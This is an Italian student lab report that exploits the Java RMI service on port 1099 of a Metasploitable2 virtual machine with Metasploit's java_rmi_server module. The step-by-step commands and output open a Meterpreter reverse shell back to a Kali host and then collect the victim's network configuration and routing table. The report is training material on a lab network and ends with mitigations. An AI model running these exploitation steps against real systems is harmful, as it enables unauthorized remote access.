

EPICODE

# CS0424

## S7 / L5

VULNERABILITA' JAVA RMI

Victoria M. Braile

Prof. Antonio Pozzi

# PANORAMICA

Premessa

Vulnerabilità di Java RMI

01. Configurazione rete

02. Scansione NMAP

03. Metasploit

04. Ricerca exploit

05. Show options

06. Exploit

07. Configurazione di rete

08. Tabella di routing

Conclusioni

Mitigazione

# TRACCIA ESERCIZIO

**Metasploitable** presenta un servizio **vulnerabile** sulla **porta 1099 – Java RMI**.

Si richiede di sfruttare la vulnerabilità con **Metasploit** per ottenere una sessione di **Meterpreter** sulla macchina remota.

I requisiti dell'esercizio sono:

- La macchina **attaccante** (**KALI**) deve avere il seguente indirizzo **IP: 192.168.75.111**
- La macchina **vittima** (**Metasploitable**) deve avere il seguente indirizzo IP: **192.168.75.112**
- Ottenuta una **sessione remota Meterpreter**, raccogliere le seguenti evidenze sulla macchina remota:
  - 1) **Configurazione di rete.**
  - 2) Informazioni sulla **tabella di routing** della macchina vittima.



# PREMESSA

Nell'ambito della sicurezza informatica, è fondamentale **testare le vulnerabilità** dei sistemi per identificare e risolvere eventuali problemi di sicurezza.

In questo esercizio, il **focus** è sulla **vulnerabilità di Java RMI (Remote Method Invocation) sulla porta 1099 di una macchina virtuale Metasploitable2**, con l'obiettivo di sfruttare questa vulnerabilità utilizzando **Metasploit** per ottenere una sessione di **Meterpreter** sulla macchina remota, e raccogliere informazioni sulla configurazione di rete e sulla tabella di routing della macchina vittima.

Prima di iniziare, è importante comprendere **cosa sono Metasploit e Meterpreter**.

**Metasploit** è un **framework di penetration testing open-source** che fornisce una vasta gamma di **strumenti e exploit** per **testare la sicurezza** dei sistemi.

**Meterpreter** è un **payload di Metasploit** che fornisce un'**interfaccia di comando interattiva** per controllare la **macchina remota** dopo l'exploit.

# VULNERABILITA' DI JAVA RMI

La **vulnerabilità di Java RMI sulla porta 1099** è una vulnerabilità di tipo "deserializzazione non sicura" che consente a un attaccante di **eseguire codice arbitrario sulla macchina remota**.

**Java RMI (Remote Method Invocation)** è una tecnologia di **programmazione** che consente di **chiamare metodi remoti** su **oggetti Java** distribuiti su una rete. Quindi **un'applicazione Java** può **chiamare metodi** di un

**oggetto Java remoto** come se fosse **locale**.

La **vulnerabilità** si verifica quando un'applicazione Java RMI **riceve una richiesta di chiamata di metodo remoto che contiene un oggetto serializzato malevolo**.

Quando l'applicazione Java RMI **deserializza l'oggetto**, può **eseguire il codice arbitrario** al suo interno, consentendo all'attaccante di ottenere **accesso alla macchina remota**.

La **vulnerabilità di Java RMI sulla porta 1099** può comportare delle **conseguenze** gravi, come:

- Esecuzione di **codice arbitrario** sulla macchina remota.
- **Accesso non autorizzato** alla macchina remota.
- Possibilità di eseguire **attacchi di tipo "lateral movement"** per spostarsi all'interno della rete.

# 01.CONFIGURAZIONE RETE

## 01.1.MODIFICA DEGLI INDIRIZZI IP

Vengono configurati gli IP di Kali Linux e Metasploitable2, impostando rispettivamente IP **192.168.75.111** per **Kali Linux** (macchina attaccante) e IP **192.168.75.112** per **Metasploitable2** (macchina vittima).

Su **Metasploitable2** viene modificato il file di configurazione con il comando **sudo nano etc/network/interfaces** mentre su **Kali Linux** la modifica avviene tramite GUI.

```
(kali@kali)-[~]  
$ ifconfig  
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500  
    inet 192.168.75.111 netmask 255.255.255.0 broadcast 192.168.75.255  
    inet6 fe80::a00:27ff:fe1e:364a prefixlen 64 scopeid 0x20<link>  
    ether 08:00:27:1e:36:4a txqueuelen 1000 (Ethernet)  
    RX packets 72 bytes 6754 (6.5 KiB)  
    RX errors 0 dropped 0 overruns 0 frame 0  
    TX packets 87 bytes 13403 (13.0 KiB)  
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

```
msfadmin@metasploitable:~$ ifconfig  
eth0  
    Link encap:Ethernet HWaddr 08:00:27:1e:36:4a  
    inet addr:192.168.75.112 Bcast:192.168.75.255 Mask:255.255.255.0  
    inet6 addr: fe80::a00:27ff:fe1e:364a prefixlen 64 scopeid 0x20<link>  
    UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1  
    RX packets:14 errors:0 dropped:0 overruns:0 frame:0  
    TX packets:96 errors:0 dropped:0 overruns:0 carrier:0  
    collisions:0 txqueuelen:1000  
    RX bytes:1318 (1.2 KB) TX bytes:9161 (8.9 KB)  
    Base address:0xd020 Memory:f0200000-f0220000
```

# 01.CONFIGURAZIONE RETE

## 01.2.COMUNICAZIONE TRA LE MACCHINE

Viene effettuata una verifica della **comunicazione** tra le macchine **Kali Linux** e **Metasploitable2** utilizzando il comando **ping** seguito dall'IP della macchina con cui si vuole comunicare.

```
msfadmin@metasploitable:~$ ping -c4 192.168.75.111
PING 192.168.75.111 (192.168.75.111) 56(84) bytes of data.
64 bytes from 192.168.75.111: icmp_seq=1 ttl=64 time=1.09 ms
64 bytes from 192.168.75.111: icmp_seq=2 ttl=64 time=1.01 ms
64 bytes from 192.168.75.111: icmp_seq=3 ttl=64 time=0.929 ms
64 bytes from 192.168.75.111: icmp_seq=4 ttl=64 time=1.20 ms

--- 192.168.75.111 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 2997ms
rtt min/avg/max/mdev = 0.929/1.061/1.202/0.103 ms
```

```
(kali@kali)-[~]
$ ping -c4 192.168.75.112
PING 192.168.75.112 (192.168.75.112) 56(84) bytes of data.
64 bytes from 192.168.75.112: icmp_seq=1 ttl=64 time=0.905 ms
64 bytes from 192.168.75.112: icmp_seq=2 ttl=64 time=1.26 ms
64 bytes from 192.168.75.112: icmp_seq=3 ttl=64 time=0.810 ms
64 bytes from 192.168.75.112: icmp_seq=4 ttl=64 time=1.12 ms

--- 192.168.75.112 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3003ms
rtt min/avg/max/mdev = 0.810/1.023/1.259/0.176 ms
```



# 02.SCANSSIONE NMAP

Dalla traccia dell'esercizio è reso noto che **Metasploitable** presenta un servizio vulnerabile sulla porta 1099 - **Java RMI**. Facendo una scansione con **nmap** è possibile **verificare** questa vulnerabilità, e con il comando adeguato si otterranno **informazioni dettagliate** sul servizio in esame. Dal terminale di Kali si utilizza dunque il comando:

```
nmap -A -p 1099 192.168.75.112
```

```
(kali㉿kali)-[~]  
$ nmap -A -p 1099 192.168.75.112  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-12 04:22 EDT  
Nmap scan report for 192.168.75.112  
Host is up (0.0014s latency).  
  
PORT      STATE SERVICE VERSION  
1099/tcp  open  java-rmi GNU Classpath grmiregistry  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 6.98 seconds
```

La scansione **conferma** quanto sopra.



# 03.METASPLOIT

Si passa quindi all'utilizzo di **Metasploit** per sfruttare la vulnerabilità riscontrata.

Per avviare Metasploit si usa il comando **msfconsole** dal terminale di Kali Linux, e si riceve un messaggio di "benvenuto" che cambia ogni volta.

```
(kali@kali)-[~]
$ msfconsole
Metasploit tip: Network adapter names can be used for IP options set LHOST
eth0

IIIIII dTb.dTb
  II    4'  v  'B
  II    6.   .P
  II    'T;. .;P'
  II    'T; ;P'
IIIIII  'YvP'

I love shells -- egypt

      =[ metasploit v6.4.9-dev ]
+ -- --=[ 2420 exploits - 1248 auxiliary - 423 post ]
+ -- --=[ 1468 payloads - 47 encoders - 11 nops ]
+ -- --=[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
```

# 04.RICERCA EXPLOIT

Adesso bisogna procedere con la ricerca dell'exploit adeguato tramite il comando **search java rmi**.

```
msf6 > search java rmi

Matching Modules

=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce	2019-05-22	excellent	Yes	Atlassian Crowd pdkinstall Unauthenticated Plugin Upload RCE
1	exploit/multi/http/crushftp_rce_cve_2023_43177	2023-08-08	excellent	Yes	CrushFTP Unauthenticated RCE
2	\_ target: Java	.	.	.	.
3	\_ target: Linux Dropper	.	.	.	.
4	\_ target: Windows Dropper	.	.	.	.
5	exploit/multi/misc/java_jmx_server	2013-05-22	excellent	Yes	Java JMX Server Insecure Configuration Java Code Execution
6	auxiliary/scanner/misc/java_jmx_server	2013-05-22	normal	No	Java JMX Server Insecure Endpoint Code Execution Scanner
7	auxiliary/gather/java_rmi_registry	.	normal	No	Java RMI Registry Interfaces Enumeration
8	exploit/multi/misc/java_rmi_server	2011-10-15	excellent	Yes	Java RMI Server Insecure Default Configuration Java Code Execution
9	\_ target: Generic (Java Payload)	.	.	.	.
10	\_ target: Windows x86 (Native Payload)	.	.	.	.
11	\_ target: Linux x86 (Native Payload)	.	.	.	.
12	\_ target: Mac OS X PPC (Native Payload)	.	.	.	.
13	\_ target: Mac OS X x86 (Native Payload)	.	.	.	.
14	auxiliary/scanner/misc/java_rmi_server	2011-10-15	normal	No	Java RMI Server Insecure Endpoint Code Execution Scanner

Il modulo **java\_rmi\_server** è stato progettato appositamente per sfruttare la vulnerabilità di Java RMI, rendendolo una scelta precisa e efficace per l'obiettivo, e lo si seleziona con il comando **use 8**.

# 05.SHOW OPTIONS

Grazie al comando **show options** si possono visionare le informazioni che riguardano il modulo exploit selezionato.

```
msf6 > use 8
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

  Name      Current Setting  Required  Description
  --      -
  HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payload request
  RHOSTS    192.168.75.111  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     1099             yes       The target port (TCP)
  SRVHOST   0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT   8080             yes       The local port to listen on.
  SSL       false            no        Negotiate SSL for incoming connections
  SSLCert                    no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                    no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.75.111  yes       The listen address (an interface may be specified)
  LPORT     4444            yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Generic (Java Payload)

View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > 
```

In particolare si presta attenzione ai campi **RHOSTS** e **LHOSTS**, ovvero gli indirizzi IP di macchina target e attaccante. Interessante anche notare il campo **RPORT**, che indica la porta target e che si trova settato proprio sulla porta **1099**, su cui infatti è attivo il servizio **Java RMI** verificato anche con **nmap**.

# 06.EXPLOIT

L'unico campo *required* da compilare è **RHOSTS**, e viene fatto con il comando **set RHOSTS 192.168.75.112**  
A questo punto è possibile procedere con il comando **exploit**.

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.75.112
RHOSTS => 192.168.75.112
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.75.111:4444
[*] 192.168.75.112:1099 - Using URL: http://192.168.75.111:8080/KtUemDnH5cPkl87
[*] 192.168.75.112:1099 - Server started.
[*] 192.168.75.112:1099 - Sending RMI Header ...
[*] 192.168.75.112:1099 - Sending RMI Call ...
[*] 192.168.75.112:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.75.112
[*] Meterpreter session 1 opened (192.168.75.111:4444 -> 192.168.75.112:60059) at 2024-07-12 04:39:25 -0400

meterpreter > █
```

Come riportato, **l'attacco è andato a buon fine** poiché dal comando exploit è stata ricevuta una **shell di Meterpreter**.



# 07.CONFIGURAZIONE DI RETE

Come richiesto dalla traccia, una volta ottenuta la sessione remota Meterpreter, si procede con la raccolta dell'evidenza della **configurazione di rete** sulla macchina remota.

Per farlo, basta eseguire il comando **ifconfig**, che mostra le **configurazioni di rete attive su Metasploitable2**.

```
meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.75.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fee4:ac7
IPv6 Netmask : ::
```

# 08.TABELLA DI ROUTING

Dopodiché, per ottenere informazioni sulla tabella di routing della macchina vittima, basterà usare il comando **route**.

```
meterpreter > route

IPv4 network routes
=====
```

<u>Subnet</u>	<u>Netmask</u>	<u>Gateway</u>	<u>Metric</u>	<u>Interface</u>
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.75.112	255.255.255.0	0.0.0.0		

```


IPv6 network routes
=====
```

<u>Subnet</u>	<u>Netmask</u>	<u>Gateway</u>	<u>Metric</u>	<u>Interface</u>
::1	::	::		
fe80::a00:27ff:fee4:ac7	::	::		

```
meterpreter > 
```

# CONCLUSIONI

Questo esercizio è stato utile per comprendere l'importanza di testare le vulnerabilità dei sistemi e di identificare le porte aperte e in ascolto. Inoltre, ha dimostrato come Metasploit possa essere utilizzato in modo efficace per sfruttare le vulnerabilità e ottenere accesso a sistemi remoti.

Ulteriori step che potrebbero essere utili per l'apprendimento includono:

- Analizzare le informazioni raccolte sulla configurazione di rete e sulla tabella di routing per identificare eventuali problemi di sicurezza.
- Utilizzare altri payload di Metasploit per eseguire azioni più avanzate, come l'esecuzione di comandi sulla macchina remota o il caricamento di payload personalizzati.
- Utilizzare altri strumenti di penetration testing, come Wireshark o Nessus, per analizzare il traffico di rete e identificare altre vulnerabilità.
- Imparare a scrivere exploit personalizzati per sfruttare vulnerabilità non ancora scoperte o non supportate da Metasploit.



# MITIGAZIONE

Per mitigare la vulnerabilità Java RMI sulla porta 1099 di Metasploitable, è importante:

- Aggiornare le versioni di Java RMI e delle librerie correlate.
- Utilizzare meccanismi di sicurezza come l'autenticazione e l'autorizzazione per controllare l'accesso alla macchina remota.
- Utilizzare tecnologie di sicurezza come i firewall e gli IDS per rilevare e bloccare attacchi sospetti.
- Scansione e monitoraggio della rete con regolarità per prevenire potenziali attacchi prima che causino danni.